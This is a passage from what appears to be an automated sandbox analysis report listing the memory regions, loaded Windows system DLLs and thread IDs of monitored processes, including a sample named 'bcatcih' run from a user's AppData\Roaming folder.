"c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 3536 start_va = 0x7ffa0ba70000 end_va = 0x7ffa0ba7dfff monitored = 0 entry_point = 0x7ffa0ba72e50 region_type = mapped_file name = "cmintegrator.dll" filename = "\\Windows\\System32\\cmintegrator.dll" (normalized: "c:\\windows\\system32\\cmintegrator.dll") Region: id = 3537 start_va = 0x7ffa0ba80000 end_va = 0x7ffa0bab7fff monitored = 0 entry_point = 0x7ffa0ba868f0 region_type = mapped_file name = "wcmcsp.dll" filename = "\\Windows\\System32\\wcmcsp.dll" (normalized: "c:\\windows\\system32\\wcmcsp.dll") Region: id = 3538 start_va = 0x7ffa0baf0000 end_va = 0x7ffa0bb27fff monitored = 0 entry_point = 0x7ffa0bb08cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3539 start_va = 0x7ffa0bb30000 end_va = 0x7ffa0bbc8fff monitored = 0 entry_point = 0x7ffa0bb4a090 region_type = mapped_file name = "wcmsvc.dll" filename = "\\Windows\\System32\\wcmsvc.dll" (normalized: "c:\\windows\\system32\\wcmsvc.dll") Region: id = 3540 start_va = 0x7ffa0c7c0000 end_va = 0x7ffa0c8cafff monitored = 0 entry_point = 0x7ffa0c802610 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 3541 start_va = 0x7ffa0c9c0000 end_va = 0x7ffa0ca2ffff monitored = 0 entry_point = 0x7ffa0c9e2960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 3542 start_va = 0x7ffa0e440000 end_va = 0x7ffa0e472fff monitored = 0 entry_point = 0x7ffa0e44ae20 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 3543 start_va = 0x7ffa0e910000 end_va = 0x7ffa0eac0fff monitored = 0 entry_point = 0x7ffa0e963690 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 3544 start_va = 0x7ffa0eb30000 end_va = 0x7ffa0ec65fff monitored = 0 entry_point = 0x7ffa0eb5f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 3545 start_va = 0x7ffa0ed60000 end_va = 0x7ffa0ee27fff monitored = 0 entry_point = 0x7ffa0eda13f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 3546 start_va = 0x7ffa0f0a0000 end_va = 0x7ffa0f0e9fff monitored = 0 entry_point = 0x7ffa0f0aac30 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 3547 start_va = 0x7ffa0f3e0000 end_va = 0x7ffa0f3f0fff monitored = 0 entry_point = 0x7ffa0f3e3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 3548 start_va = 0x7ffa0ff00000 end_va = 0x7ffa0ff08fff monitored = 0 entry_point = 0x7ffa0ff019a0 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 3549 start_va = 0x7ffa0ff10000 end_va = 0x7ffa0ff1afff monitored = 0 entry_point = 0x7ffa0ff11cd0 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 3550 start_va = 0x7ffa0ff30000 end_va = 0x7ffa0ff47fff monitored = 0 entry_point = 0x7ffa0ff35910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3551 start_va = 0x7ffa11220000 end_va = 0x7ffa113a5fff monitored = 0 entry_point = 0x7ffa1126d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3552 start_va = 0x7ffa11410000 end_va = 0x7ffa11422fff monitored = 0 entry_point = 0x7ffa11412760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3553 start_va = 0x7ffa117d0000 end_va = 0x7ffa117f6fff monitored = 0 entry_point = 0x7ffa117d7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3554 start_va = 0x7ffa11800000 end_va = 0x7ffa118a9fff monitored = 0 entry_point = 0x7ffa11827910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 3555 start_va = 0x7ffa11b10000 end_va = 0x7ffa11b41fff monitored = 0 entry_point = 0x7ffa11b22340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 3556 start_va = 0x7ffa11d90000 end_va = 0x7ffa11db3fff monitored = 0 entry_point = 0x7ffa11d93260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3557 start_va = 0x7ffa11f30000 end_va = 0x7ffa12023fff monitored = 0 entry_point = 0x7ffa11f3a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 3558 start_va = 0x7ffa121a0000 end_va = 0x7ffa121abfff monitored = 0 entry_point = 0x7ffa121a27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 3559 start_va = 0x7ffa12280000 end_va = 0x7ffa122b0fff monitored = 0 entry_point = 0x7ffa12287d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3560 start_va = 0x7ffa124f0000 end_va = 0x7ffa1250efff monitored = 0 entry_point = 0x7ffa124f5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3561 start_va = 0x7ffa12660000 end_va = 0x7ffa126bbfff monitored = 0 entry_point = 0x7ffa12676f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3562 start_va = 0x7ffa12830000 end_va = 0x7ffa1283afff monitored = 0 entry_point = 0x7ffa128319a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3563 start_va = 0x7ffa12a10000 end_va = 0x7ffa12a3cfff monitored = 0 entry_point = 0x7ffa12a29d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3564 start_va = 0x7ffa12ba0000 end_va = 0x7ffa12bf5fff monitored = 0 entry_point = 0x7ffa12bb0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3565 start_va = 0x7ffa12c20000 end_va = 0x7ffa12c48fff monitored = 0 entry_point = 0x7ffa12c34530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3566 start_va = 0x7ffa12d90000 end_va = 0x7ffa12da3fff monitored = 0 entry_point = 0x7ffa12d952e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3567 start_va = 0x7ffa12db0000 end_va = 0x7ffa12dbffff monitored = 0 entry_point = 0x7ffa12db56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3568 start_va = 0x7ffa12dc0000 end_va = 0x7ffa12e0afff monitored = 0 entry_point = 0x7ffa12dc35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3569 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3570 start_va = 0x7ffa12f40000 end_va = 0x7ffa13106fff monitored = 0 entry_point = 0x7ffa12f9db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3571 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3572 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3573 start_va = 0x7ffa13390000 end_va = 0x7ffa133d2fff monitored = 0 entry_point = 0x7ffa133a4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3574 start_va = 0x7ffa133e0000 end_va = 0x7ffa13465fff monitored = 0 entry_point = 0x7ffa133ed8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 3575 start_va = 0x7ffa13b70000 end_va = 0x7ffa13cb2fff monitored = 0 entry_point = 0x7ffa13b98210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3576 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3577 start_va = 0x7ffa13d60000 end_va = 0x7ffa13d67fff monitored = 0 entry_point = 0x7ffa13d61ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3578 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3579 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3580 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3581 start_va = 0x7ffa14220000 end_va = 0x7ffa142c6fff monitored = 0 entry_point = 0x7ffa1422b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3582 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3583 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3584 start_va = 0x7ffa146e0000 end_va = 0x7ffa1474afff monitored = 0 entry_point = 0x7ffa146f90c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3585 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3586 start_va = 0x7ffa15090000 end_va = 0x7ffa15136fff monitored = 0 entry_point = 0x7ffa150a58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3587 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3588 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5343 start_va = 0xb20000 end_va = 0xbf9fff monitored = 0 entry_point = 0xb53c00 region_type = mapped_file name = "wpncore.dll" filename = "\\Windows\\System32\\wpncore.dll" (normalized: "c:\\windows\\system32\\wpncore.dll") Region: id = 17548 start_va = 0x2420000 end_va = 0x2585fff monitored = 0 entry_point = 0x24679f0 region_type = mapped_file name = "diagperf.dll" filename = "\\Windows\\System32\\diagperf.dll" (normalized: "c:\\windows\\system32\\diagperf.dll") Thread: id = 127 os_tid = 0xcb8 Thread: id = 128 os_tid = 0xcb4 Thread: id = 129 os_tid = 0xc54 Thread: id = 130 os_tid = 0xc50 Thread: id = 131 os_tid = 0xc48 Thread: id = 132 os_tid = 0x480 Thread: id = 133 os_tid = 0x13a8 Thread: id = 134 os_tid = 0x46c Thread: id = 135 os_tid = 0x8c Thread: id = 136 os_tid = 0x1d0 Thread: id = 137 os_tid = 0xa30 Thread: id = 138 os_tid = 0xb50 Thread: id = 139 os_tid = 0x478 Thread: id = 140 os_tid = 0x468 Thread: id = 141 os_tid = 0x458 Thread: id = 142 os_tid = 0x450 Thread: id = 143 os_tid = 0x44c Thread: id = 144 os_tid = 0x434 Thread: id = 145 os_tid = 0x42c Thread: id = 146 os_tid = 0x8 Thread: id = 147 os_tid = 0x348 Thread: id = 148 os_tid = 0x324 Thread: id = 149 os_tid = 0x2e8 Thread: id = 150 os_tid = 0x284 Thread: id = 151 os_tid = 0x394 Process: id = "6" image_name = "bcatcih" filename = "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih" page_root = "0x6dc72000" os_pid = "0xcb0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x360" cmd_line = "C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3590 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3591 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3592 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3593 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 3594 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 3595 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3596 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3597 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3598 start_va = 0x400000 end_va = 0x24affff monitored = 1 entry_point = 0x416767 region_type = mapped_file name = "bcatcih" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih") Region: id = 3599 start_va = 0x771d0000 end_va = 0x7734afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3600 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 3601 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3602 start_va = 0x7fff0000 end_va = 0x7ffa1676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3603 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3604 start_va = 0x7ffa16931000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffa16931000" filename = "" Region: id = 3750 start_va = 0x24b0000 end_va = 0x256ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 3751 start_va = 0x640d0000 end_va = 0x6411ffff monitored = 0 entry_point = 0x640e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3752 start_va = 0x64050000 end_va = 0x640c9fff monitored = 0 entry_point = 0x64063290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3753 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3754 start_va = 0x64120000 end_va = 0x64127fff monitored = 0 entry_point = 0x641217c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3755 start_va = 0x2570000 end_va = 0x26bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 3756 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3757 start_va = 0x76910000 end_va = 0x76a8dfff monitored = 0 entry_point = 0x769c1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4082 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4083 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 4084 start_va = 0x26c0000 end_va = 0x277dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4085 start_va = 0x73e50000 end_va = 0x73ee1fff monitored = 0 entry_point = 0x73e90380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4086 start_va = 0x7fb00000 end_va = 0x7fea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 4087 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4259 start_va = 0x743d0000 end_va = 0x74516fff monitored = 0 entry_point = 0x743e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4260 start_va = 0x74ab0000 end_va = 0x74bfefff monitored = 0 entry_point = 0x74b66820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4261 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4262 start_va = 0x2780000 end_va = 0x287ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 4263 start_va = 0x24b0000 end_va = 0x24d9fff monitored = 0 entry_point = 0x24b5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4264 start_va = 0x2560000 end_va = 0x256ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 4265 start_va = 0x2880000 end_va = 0x2a07fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 4266 start_va = 0x741b0000 end_va = 0x741dafff monitored = 0 entry_point = 0x741b5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4605 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4606 start_va = 0x24b0000 end_va = 0x24b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 4607 start_va = 0x2a10000 end_va = 0x2b90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a10000" filename = "" Region: id = 4608 start_va = 0x2ba0000 end_va = 0x3f9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ba0000" filename = "" Region: id = 4609 start_va = 0x3fa0000 end_va = 0x409ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 13273 start_va = 0x40a0000 end_va = 0x489ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000040a0000" filename = "" Region: id = 13274 start_va = 0x1c0000 end_va = 0x1c2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 13275 start_va = 0x1c0000 end_va = 0x1c2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 13276 start_va = 0x1c0000 end_va = 0x1c8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 13277 start_va = 0x73dd0000 end_va = 0x73e44fff monitored = 0 entry_point = 0x73e09a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 13278 start_va = 0x76a90000 end_va = 0x76b4dfff monitored = 0 entry_point = 0x76ac5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 13279 start_va = 0x24c0000 end_va = 0x24fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 13280 start_va = 0x2780000 end_va = 0x287ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 13281 start_va = 0x762b0000 end_va = 0x7646cfff monitored = 0 entry_point = 0x76392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 13282 start_va = 0x76c00000 end_va = 0x76cacfff monitored = 0 entry_point = 0x76c14f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 13283 start_va = 0x73f00000 end_va = 0x73f1dfff monitored = 0 entry_point = 0x73f0b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 13284 start_va = 0x73ef0000 end_va = 0x73ef9fff monitored = 0 entry_point = 0x73ef2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 13285 start_va = 0x76840000 end_va = 0x76897fff monitored = 0 entry_point = 0x768825c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 14247 start_va = 0x76cb0000 end_va = 0x76cf3fff monitored = 0 entry_point = 0x76cc9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 14248 start_va = 0x2500000 end_va = 0x254ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 14249 start_va = 0x40a0000 end_va = 0x422ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040a0000" filename = "" Region: id = 15513 start_va = 0x764e0000 end_va = 0x765fefff monitored = 0 entry_point = 0x76525980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 15514 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 15515 start_va = 0x3fa0000 end_va = 0x405bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003fa0000" filename = "" Region: id = 15516 start_va = 0x4090000 end_va = 0x409ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004090000" filename = "" Region: id = 15517 start_va = 0x1d0000 end_va = 0x1d3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 15518 start_va = 0x73db0000 end_va = 0x73dccfff monitored = 0 entry_point = 0x73db3b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 15519 start_va = 0x1e0000 end_va = 0x1e2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 17668 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Thread: id = 152 os_tid = 